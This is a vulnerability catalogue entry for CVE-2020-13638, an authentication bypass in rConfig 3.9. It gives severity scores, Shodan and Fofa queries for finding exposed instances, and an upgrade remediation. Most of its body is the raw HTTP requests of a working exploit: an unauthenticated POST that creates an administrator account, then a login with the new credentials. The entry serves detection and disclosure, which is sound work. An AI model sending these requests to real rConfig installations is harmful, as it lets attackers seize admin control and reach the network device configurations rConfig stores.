| Title | rConfig 3.9 - Authentication Bypass(Admin Login) |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the rConfig installation and access to all network device configurations. |
| Remediation | Upgrade to rConfig version 3.9.7 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92196 |
| CVE ID | CVE-2020-13638 |
| CWE ID | CWE-269 |
| Shodan Query | http.title:"rConfig"http.title:"rconfig" |
| Fofa Query | title="rconfig" |
| Tags | cve cve2020 rconfig auth-bypass intrusive vkev vuln |
lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
POST /lib/crud/userprocess.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 693
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
Accept-Encoding: gzip
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="username"
nzfbTB
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="passconf"
2yrARJ4r
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="password"
2yrARJ4r
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="email"
tGhwkJ@LJQeg.com
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="editid"
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="add"
add
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="ulevelid"
9
--01b28e152ee044338224bf647275f8eb--
GET /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /lib/crud/userprocess.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Connection: close
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=nzfbTB&pass=2yrARJ4r&sublogin=1
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13638.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13638.pcap
N/AN/A